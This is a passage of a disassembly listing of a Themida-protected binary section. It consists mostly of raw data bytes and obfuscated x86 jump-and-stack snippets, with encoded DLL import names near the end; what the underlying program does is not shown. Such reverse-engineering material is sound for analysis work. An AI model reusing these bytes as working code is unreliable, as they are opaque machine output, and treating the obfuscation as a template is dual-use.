		dd 1FFFF46h, 0E8835EF0h, 24048704h, 242C895Ch, 0C581E589h
		dd 4, 4ED81h, 0FF550000h, 5D042474h, 8B24048Fh,	4892424h
		dd 2434FF24h, 7948685Eh, 1C890000h, 1C8B5424h, 3DE95224h
		dd 8BFFFF3Eh, 8B662424h, 0C483241Ch, 2C316602h,	2C336624h
		dd 0CF2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5749BA:				; CODE XREF: Themida_:0056E386j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp


loc_5749C3:				; CODE XREF: Themida_:005741B3j
		push	6A6Dh
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	6F3Ch
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5642B6
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 0FFA398E9h, 0B5B1E9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5749EE:				; CODE XREF: Themida_:0056F33Ej
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	edx
		jmp	loc_5716F1
; ---------------------------------------------------------------------------


loc_5749FD:				; CODE XREF: Themida_:0056F1E4j
		add	esp, 4
		xor	edx, [esp]
		jmp	loc_565C6B
; ---------------------------------------------------------------------------
		dd 0C380D300h, 0B0505A03h, 9DC38079h, 0AD0E9h, 242C8700h
		dd 0FFCDC8E9h
		db 0FFh
byte_574A21	db 0ADh, 55h, 0BDh	; DATA XREF: Themida_:0055FF4Co
		dd 6E105898h, 2F47222Dh, 0E9E80168h, 0FFFF31A7h
; ---------------------------------------------------------------------------


loc_574A34:				; CODE XREF: Themida_:00571566j
		xor	edx, 2B143F4Ah
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	10000h
		jmp	loc_56ED0B
; ---------------------------------------------------------------------------
		dd 9A68535Ch, 5B79842Fh, 1E02F381h, 0E9500FFAh,	0FFFF121Ch
; ---------------------------------------------------------------------------


loc_574A64:				; CODE XREF: Themida_:005601ABj
		mov	ecx, 0D815C13h
		and	ecx, 71877C32h
		jmp	loc_56EE46
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 78256800h, 14890000h, 68E28924h, 68Fh
		dd 68241C89h, 4EFF5A4Eh, 0F4FBE95Bh, 0D366FFFEh, 0E99C243Ch
		dd 0FFFEB4FBh, 5DDFCD81h, 0F5817D83h, 0B706AD0Ch, 0FEE64DE9h
		dd 5C381FFh, 13C920Ah, 5EB81C3h, 833C920Ah, 3C8904ECh
		dd 30E95624h, 89FFFFE5h, 8BEE9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_574AD6:				; CODE XREF: Themida_:0056D8A7j
		sub	ecx, 0B175EA86h
		sub	ebp, ecx
		pop	ecx
		add	edx, ebp
		jmp	loc_564AB3
; ---------------------------------------------------------------------------
		dw 5352h
		dd 4D096866h, 6DE95B66h
		db 0C9h, 0FEh, 0FFh
byte_574AF3	db 0FFh			; DATA XREF: Themida_:0055FDFCo
		dd 0C8B2434h, 85E95024h
		db 1Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574AFF:				; CODE XREF: Themida_:0056E7C3j
		add	ebp, 4
		jmp	loc_570E27
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 2A7A4985h, 0FFF1B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574B15:				; CODE XREF: Themida_:0056D0B2j
		mov	edi, 7481647Bh
		add	ebp, edi
		jmp	loc_56DC75
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 0Dh
		dd 5213AA23h, 52457ABAh, 5AD3313Dh, 0C15BDA09h,	0C28106EAh
		dd 0FEA40B49h, 575AD301h, 2BFh,	5FFB0100h, 0E9241C87h
		dd 0FFFFF857h, 4EC8151h, 89000000h, 88532414h, 0C59E9C3h
		dd 487FFFFh, 0FD305C24h, 0E9241C8Bh, 0FFFF567Eh, 33240431h
		dd 248B2404h, 0BE0F6624h, 516866C8h, 0C89662Eh,	0B415E924h
		dd 8953FFFEh, 4C381E3h,	83000000h, 1C8704C3h, 6437E924h
		dd 0C330FFFFh, 4EC81h, 14890000h, 81E28924h, 4C2h, 4EA8100h
		dd 87000000h, 895C2414h, 0E953240Ch, 0FFFFFF8Ch, 0E586E956h
		dd 0F181FFFFh, 662FD1ACh, 7BE9C829h, 5CFFFEE3h,	9C2424D2h
		dd 0FEB3BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574BE1:				; CODE XREF: Themida_:005659B3j
		sub	ebx, ebp
		pop	ebp
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		pop	esp


loc_574BEB:				; CODE XREF: Themida_:00565B45j
		push	635Ch
		jmp	loc_569A44
; ---------------------------------------------------------------------------
		db 80h,	0F5h, 8
		dd 0C004E5C0h, 42E906E5h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574C03:				; CODE XREF: Themida_:00562D2Bj
		pop	edx
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	1391h
		mov	[esp], ebx
		pop	ebp
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_560C7C
; ---------------------------------------------------------------------------


loc_574C3A:				; CODE XREF: Themida_:005745F9j
		xor	edx, [esp]
		jmp	loc_56A54A
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 4EE81h, 34870000h, 14895C24h, 0C066B624h,	5C6804EEh
		dd 8900004Dh, 68E9241Ch, 5EFFFF12h, 0FF7CF0E9h,	4EBB53FFh
		dd 0E90F1422h, 0FFFEE847h
; ---------------------------------------------------------------------------


loc_574C78:				; CODE XREF: Themida_:0056287Cj
		pop	esi
		push	ebx
		mov	ebx, 4
		add	esi, 30C3134Ah
		add	esi, ebx
		jmp	loc_56CA11
; ---------------------------------------------------------------------------


loc_574C8C:				; CODE XREF: Themida_:0056B854j
		mov	ebx, [esp]
		add	esp, 4
		not	ebx
		add	ebx, 8C35B234h
		mov	ecx, ebx
		mov	ebx, [esp]
		push	ebx
		jmp	loc_565E64
; ---------------------------------------------------------------------------
		dd 2947BF57h, 0FD311A38h, 8BE8895Fh, 0C483242Ch, 2E16E904h
		db 2 dup(0FFh)
word_574CBE	dw 0E9ADh		; DATA XREF: Themida_:0055FE28o
		dd 0FFFEEA28h, 5266C9FEh, 0E7C3E950h, 0D000FFFFh, 0E957B151h
		dd 0FFFF5DCAh, 0FEB2C2E9h, 4EC83FFh, 0E9240489h, 0FFFEC256h
; ---------------------------------------------------------------------------


loc_574CE8:				; CODE XREF: Themida_:00573278j
		pop	esi
		xor	edi, 3C5E6C49h
		push	esi
		mov	esi, 710E391Bh
		jmp	loc_567019
; ---------------------------------------------------------------------------
		dw 814Dh
		dd 899866C5h, 0DC2BE9C3h, 1C8BFFFEh, 4C48124h, 0E9000000h
		dd 0FFFF6D4Ch, 22F0E581h, 0EDC17F77h, 0C170E902h, 0D2F7FFFFh
		dd 5109F281h, 814A6CD7h, 13C42EAh, 0E9D329D7h, 0FFFF73EFh
		dd 685AD689h, 0E607E126h, 97B9515Dh, 1036347h, 0ED8159CDh
		dd 359525EFh, 0C581F501h, 359525EFh, 0FEC469E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574D5D:				; CODE XREF: Themida_:00572BBAj
		sub	al, dl
		pop	dx
		jmp	loc_560197
; ---------------------------------------------------------------------------


loc_574D66:				; CODE XREF: Themida_:0056EA00j
		dec	ebx
		push	ebp
		mov	ebp, 39566A2Fh
		jmp	loc_56435A
; ---------------------------------------------------------------------------
		dw 405h
		dd 83000000h, 48704E8h,	0CE22E924h, 248BFFFEh, 0CFF6624h
		dd 0E1E99C24h
		db 2Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574D8F:				; CODE XREF: Themida_:00561762j
		push	ebp
		push	ebx
		push	1FE86997h
		pop	ebx
		not	ebx
		add	ebx, 1FE8699Ch
		mov	ebp, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_57357D
; ---------------------------------------------------------------------------
		dd 4C481h, 34870000h, 24248B24h, 51243489h, 0FF481CE9h
		db 0FFh
aNhbm		db '­hm',0             ; DATA XREF: Themida_:0055FE74o
		dw 8900h
		dd 4768242Ch, 0E937E737h, 0FFFFB9B3h
; ---------------------------------------------------------------------------


loc_574DD4:				; CODE XREF: Themida_:00569C20j
		push	6E4Ch
		mov	[esp], ebp
		mov	ebp, 4C3878E7h
		push	eax
		mov	eax, 3DAD5532h
		shl	eax, 6
		xor	eax, 4ECE2036h
		add	eax, 742B26h
		jmp	loc_562703
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0D2h
		dd 817946D0h, 0F10355CDh, 0EEF58156h, 812B1126h, 0BF0970E5h
		dd 0B0C5814Ah, 81459E75h, 8BE8F5C5h, 5DE829F2h,	846C032Dh
		dd 0F542E909h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574E2A:				; CODE XREF: Themida_:00568FD2j
		push	4A110340h
		pop	ebp
		shl	ebp, 2
		xor	ebp, 38D70E15h
		jmp	loc_5710B9
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 0CEFDE924h, 0CF89FFFFh, 0FF5CA5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574E4D:				; CODE XREF: Themida_:0056754Ej
		push	eax
		mov	al, 0E2h
		mov	dl, 0F1h
		jmp	loc_5718F9
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0FFFFFFFFh, 55AD029h, 0A030FF4h, 1A05352Dh, 8E0C129h
		dd 4E5A3535h, 81853543h, 0C18984D6h, 50D9F758h,	2A7B21B8h
		dd 64850D7Bh, 0E0C16AA9h, 0E9DEE905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574E8E:				; CODE XREF: Themida_:00562A56j
		sub	[esp], bl
		mov	bl, [esp]
		jmp	loc_5638E4
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0DEh
		dd 811E1909h, 7A5F7BEEh, 67F68172h, 81AB9EAAh, 0D25D86EDh
		dd 92ED8156h, 162D83Bh,	92C581F5h, 5262D83Bh, 537046BAh
		dd 0C0F2816Ch, 13A812Dh, 0CBD9E9D5h, 4D59FFFFh,	8105E5C1h
		dd 0B76241E5h, 0BED8113h, 0E9D5EAB5h, 0FFFEE8F6h, 89243489h
		dd 4C681E6h, 52000000h,	4BAh, 0A457E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574EFE:				; CODE XREF: Themida_:00563466j
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_566CE2
; ---------------------------------------------------------------------------
		db 2Dh
		dd 637F576Dh, 4937E956h
		db 2 dup(0FFh)
word_574F16	dw 30ACh		; DATA XREF: Themida_:0055FD40o
		dd 0B23FE9D8h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_574F1E:				; CODE XREF: Themida_:0056F8A6j
		push	edi
		mov	edi, 5396068h
		add	ebx, edi
		pop	edi
		xor	ecx, ebx
		pop	ebx
		sub	ebp, 73EB6D1Bh
		add	ebp, ecx
		push	esi
		push	edx
		mov	edx, 243B7B4Eh
		mov	esi, edx
		jmp	loc_5650C3
; ---------------------------------------------------------------------------
		dd 123E9AB9h, 8141494Fh, 0AC19D9C9h, 6E1C101h, 3FEDC981h
		dd 0E9816BFEh, 0DE5BBFA5h, 5D59C829h, 0CD451805h, 57BA525Dh
		dd 2959E230h, 62685AD0h, 89000034h, 0D8BD242Ch,	0E944B822h
		dd 0FFFEB3D6h, 59B4E953h, 0BE56FFFFh, 4012075Ch, 0F681DEF7h
		dd 4BBD388Eh, 3FDAC681h, 0C4E90BAFh, 51FFFFF9h,	0FF2552E9h
		dd 4335BFFh, 78E924h, 81420000h, 0D4EF18C2h, 0E9D0313Fh
		dd 0FFFF574Ah
; ---------------------------------------------------------------------------


loc_574FBC:				; CODE XREF: Themida_:0056F853j
		neg	ecx
		sub	ecx, 343D3141h
		jmp	loc_56E8C8
; ---------------------------------------------------------------------------
byte_574FC9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055FE34o
		dd 872FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574FD2:				; CODE XREF: Themida_:00570408j
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 23B33548h
		jmp	loc_5753B6
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 4EB8100h, 87000000h, 895C241Ch, 0E2892414h
		dd 66668h, 243C8900h, 4BFh, 0FFFA0100h,	78E92434h
		db 0D5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_575013:				; CODE XREF: Themida_:005690E3j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_57354D
; ---------------------------------------------------------------------------


loc_57501F:				; CODE XREF: Themida_:00562C73j
		mov	edx, esp
		jmp	loc_5673C3
; ---------------------------------------------------------------------------
		dw 431h
		dd 24043324h, 0FFED48E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_575031:				; CODE XREF: Themida_:0056F1D6j
		pop	edi
		add	eax, 5D7D0447h
		sub	eax, esi
		sub	eax, 5D7D0447h
		push	edx
		mov	edx, 629D2441h
		inc	edx
		jmp	loc_572E79
; ---------------------------------------------------------------------------


loc_57504A:				; CODE XREF: Themida_:0056B068j
		sub	edx, 4
		jmp	loc_56B7BA
; ---------------------------------------------------------------------------
		dd offset dword_450050+4018h
		dw 8900h
		dd 58B9240Ch, 517B6519h, 83243C8Bh, 15904C4h, 0E908247Ch
		dd 0FFFFCB84h, 9C240421h, 0FEAF26E9h, 565954FFh, 6D576853h
		dd 815B22D6h, 6D18D0C3h, 87C3817Dh, 0C11DE72Bh,	0F38104EBh
		dd 42B3E8B5h, 0FFC3A7E9h, 24048FFFh, 2414895Ch,	468h, 0EF815A00h
		dd 75E214F5h, 6805C781h, 0D70148ECh, 6805EF81h,	0C78148ECh
		dd 75E214F5h, 8124148Bh, 4C4h, 1469E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5750D2:				; CODE XREF: Themida_:005693BFj
		pop	edi
		xor	ebp, 21C91CCDh
		jmp	loc_56202E
; ---------------------------------------------------------------------------


loc_5750DE:				; CODE XREF: Themida_:0057440Dj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7AF70375h
		xor	edi, 5CAB6A3Ch
		add	edi, 9EF63622h
		add	ebp, 276D3581h
		jmp	loc_567692
; ---------------------------------------------------------------------------


loc_575103:				; CODE XREF: Themida_:0056C287j
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esi
		jmp	loc_5737D5
; ---------------------------------------------------------------------------
		dd 0AE04BA52h, 0D7291ABBh, 5FFD215Ah, 0FF2831E9h, 6EDC1FFh
		dd 81E18951h, 4C1h, 0D7FEE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575132:				; CODE XREF: Themida_:00570006j
		add	ebp, 4
		jmp	loc_57033B
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 57000000h, 0FFFFFFBFh, 0E9F929FFh, 0FFFF28A0h, 0C388BC04h
		dd 6E3C058h, 0E939B551h, 0FFFFFA95h, 4BE56h, 0F1010000h
		dd 54E9555Eh
		db 5, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_57516F:				; CODE XREF: Themida_:0056C3DDj
		mov	[esp], ebx
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	edx
		push	esp
		jmp	loc_56FF14
; ---------------------------------------------------------------------------
		dd 24B9h, 0FFCE0100h, 0C8B2434h, 0E1895124h, 0FF1049E9h
		dd 0AFE959FFh
		db 0E5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5751A3:				; CODE XREF: Themida_:0057188Bj
		pop	ebx
		jmp	loc_5603A4
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 83000000h, 148704C2h, 0EA815C24h, 3594A33h, 482FC281h
		dd 0C2016079h, 482FEA81h, 75686079h, 89000038h,	8BE9241Ch
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5751D7:				; CODE XREF: Themida_:00561E6Fj
		push	esp
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		add	ebp, 4
		jmp	loc_571E75
; ---------------------------------------------------------------------------
		dw 6859h
		dd 26F0h, 0FF240489h, 8B042474h, 0C4832404h, 24048F04h
		dd 0FF3FF0E9h, 82055FFFh, 0E9297005h, 0FFFFEE0Bh, 0F944E95Bh
		dd 0AFBAFFFEh, 815C8729h, 3D7767C2h, 4EC8342h, 0FF150AE9h
		dd 0FB295EFFh, 6D72EB81h, 34FF6A05h, 0E838E924h
		db 2 dup(0FFh)
word_57523A	dw 8B66h		; DATA XREF: Themida_:0055FDD4o
		dd 4E682404h, 89000069h, 0E954243Ch, 0FFFF30BAh
; ---------------------------------------------------------------------------


loc_57524C:				; CODE XREF: Themida_:0057204Fj
		not	dword ptr [esp]
		pop	ecx
		or	ecx, 33631A93h
		push	esi
		mov	esi, 7E9C592Ah
		jmp	loc_561E3D
; ---------------------------------------------------------------------------
		db 5Eh,	33h, 0Ch
		dd 240C3124h, 5C240C33h, 0FFF5F4E9h, 4C483FFh, 8B242C87h
		dd 0A30F2424h, 0E99C2404h, 0FFFEAD1Bh, 42474FFh, 0FEB317E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57528D:				; CODE XREF: Themida_:0056CA2Cj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4


loc_57529E:				; CODE XREF: Themida_:0056BD50j
					; Themida_:0056C8ABj
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		push	edx
		push	ebx
		jmp	loc_565D8B
; ---------------------------------------------------------------------------


loc_5752AB:				; CODE XREF: Themida_:00565896j
		push	edx
		jmp	loc_569B93
; ---------------------------------------------------------------------------
		db 0B9h, 0E7h, 5Fh
		dd 4E916F0h, 66FFFEDFh,	0E9C8B60Fh, 0FFFF58B9h,	0E6C9815Eh
		dd 0C111BD6Fh, 0EC8107E1h, 4, 0BB241C89h, 7D1469Ch, 4798EB81h
		dd 0D9312811h, 8111E95Bh, 489FFFFh, 0AEECE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5752F2:				; CODE XREF: Themida_:005634A3j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_56637E
; ---------------------------------------------------------------------------
		dw 515Bh
		dd 0FEC7BBE9h, 5BD931FFh, 0FFFB31E9h, 6BB53FFh,	4B05AD25h
		dd 0FEE3ABE9h, 0E9FA89FFh, 0FFFFA225h, 8904EC83h, 6851242Ch
		dd 5AA416Dh, 81240C8Bh,	4C4h, 4EC8100h,	89000000h, 4DBD242Ch
		dd 0E92C2174h, 0FFFFEDF2h
; ---------------------------------------------------------------------------


loc_575350:				; CODE XREF: Themida_:0056F4EDj
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		jmp	loc_566ACB
; ---------------------------------------------------------------------------
		db 51h
		dd 0FF18D9E9h, 1F62BAFFh, 0D0012B7Ah, 0F0D8E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57536E:				; CODE XREF: Themida_:0056C9D2j
		sub	eax, edx
		pop	edx
		add	eax, ebx
		push	6ADBh
		mov	[esp], esi
		mov	esi, 66EA0755h
		push	ebx
		mov	ebx, 77A4415Fh
		add	esi, ebx
		pop	ebx
		xor	esi, 848D5099h
		jmp	loc_56BF79
; ---------------------------------------------------------------------------
		dd 4C281h, 0C2830000h, 24148704h, 0FF4719E9h
		db 0FFh
byte_5753A5	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055FCE8o
		dd 0C2C0E924h, 2489FFFFh, 0DADDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5753B6:				; CODE XREF: Themida_:00574FDFj
		xor	ebp, 6F785F82h
		dec	ebp
		inc	ebp
		xor	ebp, 4CCB6AC8h
		sub	ecx, 420A060Ch
		add	ecx, ebp
		add	ecx, 420A060Ch
		jmp	loc_5682C8
; ---------------------------------------------------------------------------
		db 0B9h
		dd 0FA3117B7h, 0E95BD901h, 0FFFFB746h, 83240C8Bh, 505504C4h
		dd 893980B8h, 3EADE966h
		db 2 dup(0FFh)
word_5753F6	dw 8B66h		; DATA XREF: Themida_:0055FCD4o
		dd 8952240Ch, 0E95657E2h, 0FFFF10E1h
; ---------------------------------------------------------------------------


loc_575404:				; CODE XREF: Themida_:00565ECAj
		add	edx, edi
		pop	edi
		jmp	loc_56BA49
; ---------------------------------------------------------------------------
		dd 81243C8Bh, 4C4h, 24043300h, 0E9240431h, 0FFFFC96Eh
dword_575420	dd 6944E9ACh, 5456FFFFh, 0FEC51AE9h, 835854FFh,	3C8904ECh
					; DATA XREF: Themida_:0055FD18o
		dd 0B5DDE924h, 0F766FFFEh, 0C26866D1h, 1C89665Ah, 0B9665124h
		dd 8966438Fh, 240C8BCBh, 0FF03B5E9h, 80E328FFh,	0C380DEEBh
		dd 64EB8021h, 0FF9372E9h, 0AB35E9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57546A:				; CODE XREF: Themida_:0056216Fj
		pop	edx
		add	ecx, eax
		sub	ecx, 46100DC5h
		push	eax
		mov	eax, 0D477259h
		sub	ecx, eax
		pop	eax
		jmp	loc_572A6F
; ---------------------------------------------------------------------------


loc_575481:				; CODE XREF: Themida_:00564D21j
		add	edi, 2C073315h
		push	ebp
		jmp	loc_5704FE
; ---------------------------------------------------------------------------


loc_57548D:				; CODE XREF: Themida_:00561582j
		shr	ah, 2
		xor	ah, 85h
		add	ah, 0B9h
		push	edx
		jmp	loc_56E597
; ---------------------------------------------------------------------------
dword_57549C	dd 2FB8E9ADh, 0C481FFFFh, 4, 0FF2B94E9h	; DATA XREF: Themida_:0055FD30o
		db 0FFh
; ---------------------------------------------------------------------------


loc_5754AD:				; CODE XREF: Themida_:00568A74j
		not	ecx
		xchg	ecx, [esp]
		pop	ecx
		xchg	ecx, esi
		push	ebx
		mov	ebx, 9AEA7065h
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	ebp, esi
		jmp	loc_5628C4
; ---------------------------------------------------------------------------
		db 0BFh, 0A7h, 75h
		dd 0E7C106FCh, 0F998E908h
		db 0FEh, 0FFh
word_5754DA	dw 51ACh		; DATA XREF: Themida_:0055FEBCo
		dd 0EDC063B5h, 0AEE58003h, 0FF6ADEE9h, 87E950FFh, 81FFFF48h
		dd 4ECh, 241C8900h, 0FF10DEE9h,	3EE9FFh, 0F5700000h, 53551491h
		dd 32335245h, 6C6C642Eh, 56444100h, 33495041h, 6C642E32h
		dd 544E006Ch, 2E4C4C44h, 6C6C64h, 907D7h, 140004h, 20002h
		dd 1E40033h, 2 dup(0)
		dd 94FE9h, 0A1BE6800h, 89E90612h, 68FFFDDFh, 612A250h
		dd 0FDDF7FE9h, 0A38C68FFh, 75E90612h, 68FFFDDFh, 612A4ABh
		dd 0FDDF6BE9h, 0A50868FFh, 61E90612h, 68FFFDDFh, 612A61Ch
		dd 0FDDF57E9h, 0A69668FFh, 4DE90612h, 12FFFDDFh, 1AA11D60h
		dd 0F87F3B72h, 15A41851h, 2793572h, 0AD9B0F4Eh,	42812351h
		dd 1D5E0F86h, 39741AA1h, 184DF685h, 0D4D7A9A4h,	6BDEDD6Eh
		dd 15A32986h, 0A39D3CBDh, 51D5C102h, 33B05B75h,	0D367FC20h
		dd 0EB68557h, 192142CEh, 7C584A0Ch, 0CFAC88h, 36303F2Ch
		dd 8FD3D127h, 44CD1BAh,	0E158B2DDh, 85D8F52Ah, 98936D6Eh
		dd 47E910C7h, 0A20F035Fh, 3E792D13h, 0D8F2CE52h, 0F8DDE331h
		dd 0B5C7A37Dh, 4CF6B5CBh, 0A87E38CDh, 7B24AFCCh, 5C039246h
		dd 0A6B2C227h, 889CA011h, 7C11Fh, 8FD27400h, 0ADE49C1Bh
		dd 0CA03AA31h, 0A7E4870Eh, 0C100A433h, 71E31F0Dh, 4DCC80BFh
		dd 58DF5B9Ch, 34C377B2h, 0E7E2568Bh, 0DDAC1615h, 6B486BDEh
		dd 6104D7E1h, 0B0557420h, 0B57E5B77h, 0D82DD90Eh, 0E4DFF41h
		dd 1A553929h, 132F0D35h, 0F11B5239h, 0AFAB67FAh, 275EB09Dh
		dd 0D4FD8301h, 517693F2h, 0DB00E664h, 0F5F24B65h, 865A6F2Dh
		dd 2BDE0FB3h, 94213397h, 74B5586Fh, 9C0A480h, 95492D62h
		dd 71256006h, 0CF7CB15Ah, 4A08585Bh, 2F584155h,	0E2000007h
		dd 0EA71ED30h, 0C84F0B42h, 0E574E821h, 0D2490542h, 7D6BDF1Eh
		dd 0F231D301h, 0CD0EBF36h, 0A9E48A11h, 0C8FDA635h, 64271914h
		dd 6BDEDEDEh, 32F3B936h, 39504479h, 4A835D92h, 75D4EF83h
		dd 100EEB0Bh, 3EBB5A69h, 336AE473h, 4C53h, 7932B900h, 2028844h
		dd 6DCC7C44h, 41FD32D9h, 0F406D5E4h, 0FCEF6E35h, 522C0867h
		dd 0F7B2E387h, 9423F04Bh, 11053CE4h, 200B5D15h,	9423F0A2h
		dd 4B0AE642h, 0AFB35F94h, 0EAA01793h, 8469C3AFh, 0F9D8497Bh
		dd 0D7926726h, 696h, 44793225h,	4627412Ah, 0BAE2604Bh
		dd 26026DCCh, 5D890941h, 0CC6814AEh, 5074F06Dh,	0BCB18B7Bh
		dd 20D5B68Ah, 0D62744BDh, 89C29C3Fh, 0C8239B30h, 0B5CBA0B4h
		dd 0FC0D6DF6h, 2BD46767h, 79300AF6h, 942393C9h,	9615312Dh
		dd 68CCB8EDh, 0B9938F93h, 620E4F02h, 0E675E9FEh, 0EF54083Dh
		dd 0B40EFDE8h, 50942393h, 2BDEF0D4h, 9E157369h,	803B1511h
		dd 7FE38FCAh, 0F168966Ah, 0F13FF40h, 92CD813Ah,	1B4E01B8h
		dd 1132D270h, 1A36329Eh, 69ED0A66h, 15013CF2h, 3398CD76h
		dd 40385935h, 0F3BA2BFBh, 0A6000005h, 8E0DC104h, 0AC2B9FD6h
		dd 7900BCF5h, 962599D6h, 11F7B3F2h, 0A6E587F5h,	0C102A332h
		dd 9DD88E0Dh, 0BCF19A21h, 78330D00h, 6BDEDFCAh,	32E7AD2Ah
		dd 39504479h, 5D835D92h, 0CC7C14AEh, 5774F06Dh,	9F20A7h
		dd 174CF3C6h, 39F2076Bh, 6DCC7E90h, 9830C741h, 0C0714450h
		dd 0B38F937Fh, 0B710DC8Fh, 0B0F2336Bh, 58FFFFFEh, 7E32A9D7h
		dd 7CEA583Fh, 730A6DCCh, 9AAF93D0h, 41356A21h, 0F04FEEFh
		dd 2411A95Bh, 4C21457Ch, 0AFC11AB9h, 0FCA9E3FCh, 0AB1FFB67h
		dd 9313BF56h, 0EE35C019h, 233D0F33h, 25F44E3Dh,	1410943Ch
		dd 47EB4C37h, 17139E0Ch, 92D37645h, 4C5582DEh, 0AB7B0729h
		dd 431214E9h, 9E2C7FFAh, 2CC9681Bh, 3F8B26E1h, 149C1h
		dd 0BD150B00h, 6BC3B6B7h, 8F0CD99Ch, 0B48C2BBAh, 4420D40Dh
		dd 0C65B4E20h, 0E067FC67h, 951AC184h, 94B2C23Dh, 85845685h
		dd 47EA17D0h, 0B1FEF26Eh, 0E4A7B922h, 7DF9C42Ch, 0E37688E4h
		dd 0C453073Ch, 9181E61Bh, 0BFA010AFh, 4D4FEE7h,	0E7870000h
		dd 0FBB128A4h, 0DC9108C4h, 0FBB027A3h, 0D98B0ABEh, 0DC281E9Ah
		dd 0FFBBFAAEh, 1894D578h, 0F6B2EDA1h, 1793C87Fh, 0E1614834h
		dd 56BDED8h, 0BD5C1CA8h, 165D4C1Eh, 8E67FA9Ch, 1C09B970h
		dd 71ED9421h, 0B0CAA65Ch, 8E4A8529h, 7C286307h,	0CC71A65Dh
		dd 4A087730h, 773DA67Eh, 2A000004h, 12894588h, 30A7235Ah
		dd 0D8C4079h, 1AA11D5Ah, 85833776h, 1A590B79h, 3576179Eh
		dd 114C0279h, 30651E9Dh, 0FCAF917Ch, 6BDED946h,	327B419Eh
		dd 0E75B4E79h, 386DCC7Ch, 0C9AD5990h, 8D795DD9h, 7420550Eh
		dd 0FBDF7645h, 31B122D2h, 0AFCCFE90h, 0CC3457F4h, 4488836Dh
		dd 0B6336AEEh, 4E428123h, 74AF53D2h, 0FD31F157h, 325BFFFFh
		dd 63504479h, 8B758754h, 0CC7C22A0h, 665DC26Dh,	11FAF108h
		dd 8B6D8A66h, 0FC80AFA0h, 213B3767h, 0A3B22A2Ch, 52CEC201h
		dd 6D485465h, 85627EB9h, 0B8153BD1h, 2739A231h,	0ED016626h
		dd 0CA9F3FBDh, 486EF3B6h, 0AC8867FCh, 296207D2h, 4D48354h
		dd 7A7C07ABh, 0FBD00BBFh, 0BE904B6Ah, 24C19ACBh, 5C482436h
		dd 718B5067h, 348A7ABAh, 8B41F82Ch, 2309344Bh, 193D0227h
		dd 8E23E44h, 0BC6F9A51h, 28746106h, 645E7DEh, 685206EAh
		dd 612F9396h, 6BC72874h, 0E0FD34ECh, 0D277AC53h, 0F65D0A34h
